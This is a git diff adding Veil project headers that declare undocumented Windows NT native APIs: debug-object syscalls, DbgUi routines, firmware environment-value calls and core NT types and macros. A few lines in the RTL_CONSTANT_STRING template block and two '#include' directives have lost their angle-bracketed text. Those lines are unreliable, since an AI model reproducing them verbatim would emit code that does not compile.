+NTSYSAPI +NTSTATUS +NTAPI +ZwDebugActiveProcess( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDebugContinue( + _In_ HANDLE DebugObjectHandle, + _In_ PCLIENT_ID ClientId, + _In_ NTSTATUS ContinueStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDebugContinue( + _In_ HANDLE DebugObjectHandle, + _In_ PCLIENT_ID ClientId, + _In_ NTSTATUS ContinueStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveProcessDebug( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRemoveProcessDebug( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationDebugObject( + _In_ HANDLE DebugObjectHandle, + _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + _In_ PVOID DebugInformation, + _In_ ULONG DebugInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationDebugObject( + _In_ HANDLE DebugObjectHandle, + _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + _In_ PVOID DebugInformation, + _In_ ULONG DebugInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForDebugEvent( + _In_ HANDLE DebugObjectHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout, + _Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForDebugEvent( + _In_ HANDLE DebugObjectHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout, + _Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange +); + +// +// Debugging UI +// + +#ifndef _KERNEL_MODE +NTSYSAPI +NTSTATUS +NTAPI +DbgUiConnectToDbg( + VOID +); + +NTSYSAPI +HANDLE +NTAPI +DbgUiGetThreadDebugObject( + VOID +); + +NTSYSAPI +VOID +NTAPI +DbgUiSetThreadDebugObject( + _In_ HANDLE DebugObject +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiWaitStateChange( + _Out_ PDBGUI_WAIT_STATE_CHANGE StateChange, + _In_opt_ PLARGE_INTEGER Timeout +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiContinue( + _In_ PCLIENT_ID AppClientId, + _In_ NTSTATUS ContinueStatus +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiStopDebugging( + _In_ HANDLE Process +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiDebugActiveProcess( + _In_ HANDLE Process +); + +NTSYSAPI +VOID +NTAPI +DbgUiRemoteBreakin( + _In_ PVOID Context +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiIssueRemoteBreakin( + _In_ HANDLE Process +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiConvertStateChangeStructure( + _In_ PDBGUI_WAIT_STATE_CHANGE StateChange, + _Out_ LPDEBUG_EVENT DebugEvent +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiConvertStateChangeStructureEx( + _In_ PDBGUI_WAIT_STATE_CHANGE StateChange, + _Out_ LPDEBUG_EVENT DebugEvent +); +#endif // !_KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Define.h b/include/Veil/Veil/Veil.System.Define.h new file mode 100644 index 0000000..96e19bb --- /dev/null +++ b/include/Veil/Veil/Veil.System.Define.h @@ -0,0 +1,791 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// +// These macros are used to test, set and clear flags respectivly +// + +#ifndef FlagOn +#define FlagOn(_F,_SF) ((_F) & (_SF)) +#endif + +#ifndef BooleanFlagOn +#define BooleanFlagOn(F,SF) ((BOOLEAN)(((F) & (SF)) != 0)) +#endif + +#ifndef SetFlag +#define SetFlag(_F,_SF) ((_F) |= (_SF)) +#endif + +#ifndef ClearFlag +#define ClearFlag(_F,_SF) ((_F) &= ~(_SF)) +#endif + +// +// Handy macros for doing pointer arithmetic +// + +#ifndef Add2Ptr +#define Add2Ptr(P,I) ((PVOID)((PUCHAR)(P) + (I))) +#endif + +#ifndef PtrOffset +#define PtrOffset(B,O) ((ULONG)((ULONG_PTR)(O) - (ULONG_PTR)(B))) +#endif + +// +// This macro takes a length & rounds it up to a multiple of the alignment +// Alignment is given as a power of 2 +// + +#ifndef ROUND_TO_SIZE +#define ROUND_TO_SIZE(_length, _alignment) \ + ((((ULONG_PTR)(_length)) + ((_alignment)-1)) & ~(ULONG_PTR) ((_alignment) - 1)) +#endif + +// +// Checks if 1st argument is aligned on given power of 2 boundary specified +// by 2nd argument +// + +#ifndef IS_ALIGNED +#define IS_ALIGNED(_pointer, _alignment) \ + ((((ULONG_PTR) (_pointer)) & ((_alignment) - 1)) == 0) +#endif + +#ifndef _KERNEL_MODE +typedef struct _PEB* PPEB; // ntddk.h +typedef LONG KPRIORITY; // wdm.h + +typedef struct _IO_STATUS_BLOCK +{ + union + { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + +typedef VOID(NTAPI* PIO_APC_ROUTINE)( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); +#else +typedef int BOOL; +#endif // !_KERNEL_MODE + +typedef USHORT RTL_ATOM, * PRTL_ATOM; + +#ifndef _NTDEF_ +#define _NTDEF_ + +// This header file provides basic NT types not included in Win32. If you have included winnt.h +// (perhaps indirectly), you must use this file instead of ntdef.h. + +// Functions + +#ifndef _MANAGED +#if defined(_M_IX86) +#define FASTCALL __fastcall +#else +#define FASTCALL +#endif +#else +#define FASTCALL NTAPI +#endif + +// +// Cardinal Data Types [0 - 2**N-2) +// + +// +// The type QUAD and UQUAD are intended to use when a 8 byte aligned structure +// is required, but it is not a floating point number. +// + +typedef double DOUBLE; + +typedef struct _QUAD { + union { + __int64 UseThisFieldToCopy; + double DoNotUseThisField; + } DUMMYUNIONNAME; + +} QUAD; + +typedef QUAD* PQUAD; +typedef QUAD UQUAD; +typedef UQUAD* PUQUAD; + +#if _WIN32_WINNT >= 0x0600 || (defined(__cplusplus) && defined(WINDOWS_ENABLE_CPLUSPLUS)) + +// +// Pointer to Const Unsigned Basics +// + +typedef CONST UCHAR* PCUCHAR; +typedef CONST USHORT* PCUSHORT; +typedef CONST ULONG* PCULONG; +typedef CONST UQUAD* PCUQUAD; + +#endif // _WIN32_WINNT >= 0x0600 + +// +// Signed characters +// + +typedef signed char SCHAR; +typedef SCHAR* PSCHAR; + +#if _WIN32_WINNT >= 0x0600 || (defined(__cplusplus) && defined(WINDOWS_ENABLE_CPLUSPLUS)) + +typedef CONST SCHAR* PCSCHAR; + +#endif // _WIN32_WINNT >= 0x0600 + +typedef GUID* PGUID; + +typedef char CCHAR; // winnt +typedef short CSHORT; +typedef ULONG CLONG; + +typedef CCHAR* PCCHAR; +typedef CSHORT* PCSHORT; +typedef CLONG* PCLONG; + +// +// Logical Data Type - These are 32-bit logical values. +// +typedef ULONG LOGICAL; +typedef ULONG* PLOGICAL; + +// +// NTSTATUS +// + +typedef _Return_type_success_(return >= 0) LONG NTSTATUS; +/*lint -save -e624 */ // Don't complain about different typedefs. +typedef NTSTATUS* PNTSTATUS; +/*lint -restore */ // Resume checking for different typedefs. + +#if _WIN32_WINNT >= 0x0600 +typedef CONST NTSTATUS* PCNTSTATUS; +#endif // _WIN32_WINNT >= 0x0600 + +// +// Status values are 32 bit values laid out as follows: +// +// 3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 +// 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 +// +---+-+-------------------------+-------------------------------+ +// |Sev|C| Facility | Code | +// +---+-+-------------------------+-------------------------------+ +// +// where +// +// Sev - is the severity code +// +// 00 - Success +// 01 - Informational +// 10 - Warning +// 11 - Error +// +// C - is the Customer code flag +// +// Facility - is the facility code +// +// Code - is the facility's status code +// + +// +// Generic test for success on any status value (non-negative numbers +// indicate success). +// + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) + +// +// Generic test for information on any status value. +// + +#ifdef _PREFAST_ +#define NT_INFORMATION(Status) (((NTSTATUS)(Status)) >= (long)0x40000000) +#else +#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) +#endif + +// +// Generic test for warning on any status value. +// + +#ifdef _PREFAST_ +#define NT_WARNING(Status) (((NTSTATUS)(Status) < (long)0xc0000000)) +#else +#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) +#endif + +// +// Generic test for error on any status value. +// + +#ifdef _PREFAST_ +#define NT_ERROR(Status) (((NTSTATUS)(Status)) >= (unsigned long)0xc0000000) +#else +#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) +#endif + +#ifndef __SECSTATUS_DEFINED__ +typedef long SECURITY_STATUS; +#define __SECSTATUS_DEFINED__ +#endif + +// +// Large (64-bit) integer types and operations +// + +#define TIME LARGE_INTEGER +#define _TIME _LARGE_INTEGER +#define PTIME PLARGE_INTEGER +#define LowTime LowPart +#define HighTime HighPart + +// +// Physical address. +// + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; + +// +// Event type +// +typedef enum _EVENT_TYPE +{ + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +// +// Timer type +// + +typedef enum _TIMER_TYPE +{ + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +// +// Wait type +// + +typedef enum _WAIT_TYPE +{ + WaitAll, + WaitAny, + WaitNotification, + WaitDequeue, + WaitDpc +} WAIT_TYPE; + +// +// Pointer to an Asciiz string +// + +typedef _Null_terminated_ CHAR* PSZ; +typedef _Null_terminated_ CONST char* PCSZ; + +// +// Counted String +// + +typedef USHORT RTL_STRING_LENGTH_TYPE; + +typedef struct _STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength), length_is(Length)] +#endif // MIDL_PASS + _Field_size_bytes_part_opt_(MaximumLength, Length) PCHAR Buffer; +} STRING; +typedef STRING* PSTRING; +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +// +// CONSTCounted String +// + +typedef struct _CSTRING { + USHORT Length; + USHORT MaximumLength; + CONST char* Buffer; +} CSTRING; +typedef CSTRING* PCSTRING; +#define ANSI_NULL ((CHAR)0) // winnt + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef STRING UTF8_STRING; +typedef PSTRING PUTF8_STRING; + +// +// Unicode strings are counted 16-bit character strings. If they are +// NULL terminated, Length does not include trailing NULL. +// + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT* Buffer; +#else // MIDL_PASS + _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer; +#endif // MIDL_PASS +} UNICODE_STRING; +typedef UNICODE_STRING* PUNICODE_STRING; +typedef const UNICODE_STRING* PCUNICODE_STRING; + +#define UNICODE_NULL ((WCHAR)0) // winnt + +#if _WIN32_WINNT >= 0x0500 + +#define DECLARE_CONST_UNICODE_STRING(_var, _string) \ +const WCHAR _var ## _buffer[] = _string; \ +__pragma(warning(push)) \ +__pragma(warning(disable:4221)) __pragma(warning(disable:4204)) \ +const UNICODE_STRING _var = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWCH) _var ## _buffer } \ +__pragma(warning(pop)) + +#define DECLARE_GLOBAL_CONST_UNICODE_STRING(_var, _str) \ +extern const __declspec(selectany) UNICODE_STRING _var = RTL_CONSTANT_STRING(_str) + +#define DECLARE_UNICODE_STRING_SIZE(_var, _size) \ +WCHAR _var ## _buffer[_size]; \ +__pragma(warning(push)) \ +__pragma(warning(disable:4221)) __pragma(warning(disable:4204)) \ +UNICODE_STRING _var = { 0, (_size) * sizeof(WCHAR) , _var ## _buffer } \ +__pragma(warning(pop)) + +#endif // _WIN32_WINNT >= 0x0500 + +// +// Balanced tree node (AVL or RB) structure definition. +// + +#pragma warning(push) +#pragma warning(disable:4214) + +typedef struct _RTL_BALANCED_NODE { + union { + struct _RTL_BALANCED_NODE* Children[2]; + struct { + struct _RTL_BALANCED_NODE* Left; + struct _RTL_BALANCED_NODE* Right; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + +#define RTL_BALANCED_NODE_RESERVED_PARENT_MASK 3 + + union { + UCHAR Red : 1; + UCHAR Balance : 2; + ULONG_PTR ParentValue; + } DUMMYUNIONNAME2; +} RTL_BALANCED_NODE, * PRTL_BALANCED_NODE; + +#pragma warning(pop) + +#define RTL_BALANCED_NODE_GET_PARENT_POINTER(Node) \ + ((PRTL_BALANCED_NODE)((Node)->ParentValue & \ + ~RTL_BALANCED_NODE_RESERVED_PARENT_MASK)) + +typedef struct _RTL_RB_TREE +{ + PRTL_BALANCED_NODE Root; + PRTL_BALANCED_NODE Min; +} RTL_RB_TREE, * PRTL_RB_TREE; + +typedef struct _STRING32 { + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef STRING32* PSTRING32; + +typedef STRING32 UNICODE_STRING32; +typedef UNICODE_STRING32* PUNICODE_STRING32; + +typedef STRING32 ANSI_STRING32; +typedef ANSI_STRING32* PANSI_STRING32; + + +typedef struct _STRING64 { + USHORT Length; + USHORT MaximumLength; + ULONGLONG Buffer; +} STRING64; +typedef STRING64* PSTRING64; + +typedef STRING64 UNICODE_STRING64; +typedef UNICODE_STRING64* PUNICODE_STRING64; + +typedef STRING64 ANSI_STRING64; +typedef ANSI_STRING64* PANSI_STRING64; + +// +// Object Attributes +// + +// Valid values for the Attributes field + +#define OBJ_PROTECT_CLOSE 0x00000001L +#define OBJ_INHERIT 0x00000002L +#define OBJ_AUDIT_OBJECT_CLOSE 0x00000004L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x00000800L +#define OBJ_DONT_REPARSE 0x00001000L +#define OBJ_VALID_ATTRIBUTES 0x00001FF2L + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR; + PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + +typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES; + +#define InitializeObjectAttributes(p, n, a, r, s) { \ + (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +// RTL_ to avoid collisions in the global namespace. +// I don't believe there are possible/likely constant RootDirectory +// or SecurityDescriptor values other than NULL, so they are hardcoded. +// As well, the string will generally be const, so we cast that away. +#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) \ + { sizeof(OBJECT_ATTRIBUTES), NULL, RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL } + +// This synonym is more appropriate for initializing what isn't actually const. +#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) + +#define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\') + +// Portability + +typedef struct _OBJECT_ATTRIBUTES64 +{ + ULONG Length; + ULONG64 RootDirectory; + ULONG64 ObjectName; + ULONG Attributes; + ULONG64 SecurityDescriptor; + ULONG64 SecurityQualityOfService; +} OBJECT_ATTRIBUTES64, * POBJECT_ATTRIBUTES64; + +typedef const OBJECT_ATTRIBUTES64* PCOBJECT_ATTRIBUTES64; + +typedef struct _OBJECT_ATTRIBUTES32 +{ + ULONG Length; + ULONG RootDirectory; + ULONG ObjectName; + ULONG Attributes; + ULONG SecurityDescriptor; + ULONG SecurityQualityOfService; +} OBJECT_ATTRIBUTES32, * POBJECT_ATTRIBUTES32; + +typedef const OBJECT_ATTRIBUTES32* PCOBJECT_ATTRIBUTES32; + +// +// This works "generically" for Unicode and Ansi/Oem strings. +// Usage: +// const static UNICODE_STRING FooU = RTL_CONSTANT_STRING(L"Foo"); +// const static STRING Foo = RTL_CONSTANT_STRING( "Foo"); +// instead of the slower: +// UNICODE_STRING FooU; +// STRING Foo; +// RtlInitUnicodeString(&FooU, L"Foo"); +// RtlInitString(&Foo , "Foo"); +// +// Or: +// const static char szFoo[] = "Foo"; +// const static STRING sFoo = RTL_CONSTANT_STRING(szFoo); +// +// This will compile without error or warning in C++. C will get a warning. +// +#ifdef __cplusplus +extern "C++" +{ + char _RTL_CONSTANT_STRING_type_check(const char* s); + char _RTL_CONSTANT_STRING_type_check(const WCHAR* s); + // __typeof would be desirable here instead of sizeof. + template class _RTL_CONSTANT_STRING_remove_const_template_class; +template <> class _RTL_CONSTANT_STRING_remove_const_template_class { public: typedef char T; }; +template <> class _RTL_CONSTANT_STRING_remove_const_template_class { public: typedef WCHAR T; }; +#define _RTL_CONSTANT_STRING_remove_const_macro(s) \ + (const_cast<_RTL_CONSTANT_STRING_remove_const_template_class::T*>(s)) +} +#else +char _RTL_CONSTANT_STRING_type_check(const void* s); +#define _RTL_CONSTANT_STRING_remove_const_macro(s) (s) +#endif +#define RTL_CONSTANT_STRING(s) \ +{ \ + sizeof( s ) - sizeof( (s)[0] ), \ + sizeof( s ) / sizeof(_RTL_CONSTANT_STRING_type_check(s)), \ + _RTL_CONSTANT_STRING_remove_const_macro(s) \ +} + +// +// Interrupt Request Level (IRQL) +// + +typedef UCHAR KIRQL; + +typedef KIRQL* PKIRQL; + +// +// Product types +// + +typedef enum _NT_PRODUCT_TYPE +{ + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, * PNT_PRODUCT_TYPE; + +// +// the bit mask, SharedUserData->SuiteMask, is a ULONG +// so there can be a maximum of 32 entries +// in this enum. +// + +typedef enum _SUITE_TYPE +{ + SmallBusiness, + Enterprise, + BackOffice, + CommunicationServer, + TerminalServer, + SmallBusinessRestricted, + EmbeddedNT, + DataCenter, + SingleUserTS, + Personal, + Blade, + EmbeddedRestricted, + SecurityAppliance, + StorageServer, + ComputeServer, + WHServer, + PhoneNT, + MultiUserTS, + MaxSuiteType +} SUITE_TYPE; + +#endif // _NTDEF + +#if defined(_KERNEL_MODE) && (WDK_NTDDI_VERSION <= NTDDI_WIN10_19H1) +typedef STRING UTF8_STRING; +typedef PSTRING PUTF8_STRING; +#endif + +// +// Critical Section +// + +#ifdef _KERNEL_MODE +typedef struct _RTL_CRITICAL_SECTION_DEBUG +{ + UINT16 Type; + UINT16 CreatorBackTraceIndex; + struct _RTL_CRITICAL_SECTION* CriticalSection; + LIST_ENTRY ProcessLocksList; + UINT32 EntryCount; + UINT32 ContentionCount; + UINT32 Flags; + UINT16 CreatorBackTraceIndexHigh; + UINT16 SpareWORD; +} RTL_CRITICAL_SECTION_DEBUG, * PRTL_CRITICAL_SECTION_DEBUG, RTL_RESOURCE_DEBUG, * PRTL_RESOURCE_DEBUG; + +// +// These flags define the upper byte of the critical section SpinCount field +// +#define RTL_CRITICAL_SECTION_FLAG_NO_DEBUG_INFO 0x01000000 +#define RTL_CRITICAL_SECTION_FLAG_DYNAMIC_SPIN 0x02000000 +#define RTL_CRITICAL_SECTION_FLAG_STATIC_INIT 0x04000000 +#define RTL_CRITICAL_SECTION_FLAG_RESOURCE_TYPE 0x08000000 +#define RTL_CRITICAL_SECTION_FLAG_FORCE_DEBUG_INFO 0x10000000 +#define RTL_CRITICAL_SECTION_ALL_FLAG_BITS 0xFF000000 +#define RTL_CRITICAL_SECTION_FLAG_RESERVED (RTL_CRITICAL_SECTION_ALL_FLAG_BITS & (~(RTL_CRITICAL_SECTION_FLAG_NO_DEBUG_INFO | RTL_CRITICAL_SECTION_FLAG_DYNAMIC_SPIN | RTL_CRITICAL_SECTION_FLAG_STATIC_INIT | RTL_CRITICAL_SECTION_FLAG_RESOURCE_TYPE | RTL_CRITICAL_SECTION_FLAG_FORCE_DEBUG_INFO))) + +// +// These flags define possible values stored in the Flags field of a critsec debuginfo. +// +#define RTL_CRITICAL_SECTION_DEBUG_FLAG_STATIC_INIT 0x00000001 + +#pragma pack(push, 8) +typedef struct _RTL_CRITICAL_SECTION +{ + PRTL_CRITICAL_SECTION_DEBUG DebugInfo; + + // + // The following three fields control entering and exiting the critical + // section for the resource + // + + LONG LockCount; + LONG RecursionCount; + HANDLE OwningThread; // from the thread's ClientId->UniqueThread + HANDLE LockSemaphore; + ULONG_PTR SpinCount; // force size on 64-bit systems when packed +} RTL_CRITICAL_SECTION, * PRTL_CRITICAL_SECTION; +#pragma pack(pop) + +typedef struct _RTL_SRWLOCK +{ + PVOID Ptr; +} RTL_SRWLOCK, * PRTL_SRWLOCK; +#define RTL_SRWLOCK_INIT {0} + +typedef struct _RTL_CONDITION_VARIABLE +{ + PVOID Ptr; +} RTL_CONDITION_VARIABLE, * PRTL_CONDITION_VARIABLE; +#define RTL_CONDITION_VARIABLE_INIT {0} +#define RTL_CONDITION_VARIABLE_LOCKMODE_SHARED 0x1 + +#endif // _KERNEL_MODE + +// +// Specific +// + +#ifndef _KERNEL_MODE +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, * PCLIENT_ID; + +#include +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, * PKSYSTEM_TIME; +#include +#endif // _KERNEL_MODE + +#ifndef _FILETIME_ +#define _FILETIME_ +typedef struct _FILETIME { + UINT32 dwLowDateTime; + UINT32 dwHighDateTime; +} FILETIME, * PFILETIME, * LPFILETIME; +#endif + +// +// This isn't in NT, but it's useful. +// + +typedef struct _CLIENT_ID32 +{ + ULONG UniqueProcess; + ULONG UniqueThread; +} CLIENT_ID32, * PCLIENT_ID32; + +typedef struct _CLIENT_ID64 +{ + ULONGLONG UniqueProcess; + ULONGLONG UniqueThread; +} CLIENT_ID64, * PCLIENT_ID64; + +typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _QUAD_PTR +{ + ULONG_PTR DoNotUseThisField1; + ULONG_PTR DoNotUseThisField2; +} QUAD_PTR, * PQUAD_PTR; + +typedef struct _LARGE_INTEGER_128 +{ + LONGLONG QuadPart[2]; +} LARGE_INTEGER_128, * PLARGE_INTEGER_128; + + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Executive.h b/include/Veil/Veil/Veil.System.Executive.h new file mode 100644 index 0000000..b86b5df --- /dev/null +++ b/include/Veil/Veil/Veil.System.Executive.h @@ -0,0 +1,6485 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// +// Thread execution +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDelayExecution( + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER DelayInterval +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDelayExecution( + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER DelayInterval +); + +// +// Environment values +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _Out_writes_bytes_(ValueLength) PWSTR VariableValue, + _In_ USHORT ValueLength, + _Out_opt_ PUSHORT ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _Out_writes_bytes_(ValueLength) PWSTR VariableValue, + _In_ USHORT ValueLength, + _Out_opt_ PUSHORT ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _In_ PUNICODE_STRING VariableValue +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _In_ PUNICODE_STRING VariableValue +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _Out_writes_bytes_opt_(*ValueLength) PVOID Value, + _Inout_ PULONG ValueLength, + _Out_opt_ PULONG Attributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _Out_writes_bytes_opt_(*ValueLength) PVOID Value, + _Inout_ PULONG ValueLength, + _Out_opt_ PULONG Attributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _In_reads_bytes_opt_(ValueLength) PVOID Value, + _In_ ULONG ValueLength, + _In_ ULONG Attributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _In_reads_bytes_opt_(ValueLength) PVOID Value, + _In_ ULONG ValueLength, + _In_ ULONG Attributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateSystemEnvironmentValuesEx( + _In_ ULONG InformationClass, + _Out_ PVOID Buffer, + _Inout_ PULONG BufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwEnumerateSystemEnvironmentValuesEx( + _In_ ULONG InformationClass, + _Out_ PVOID Buffer, + _Inout_ PULONG BufferLength +); 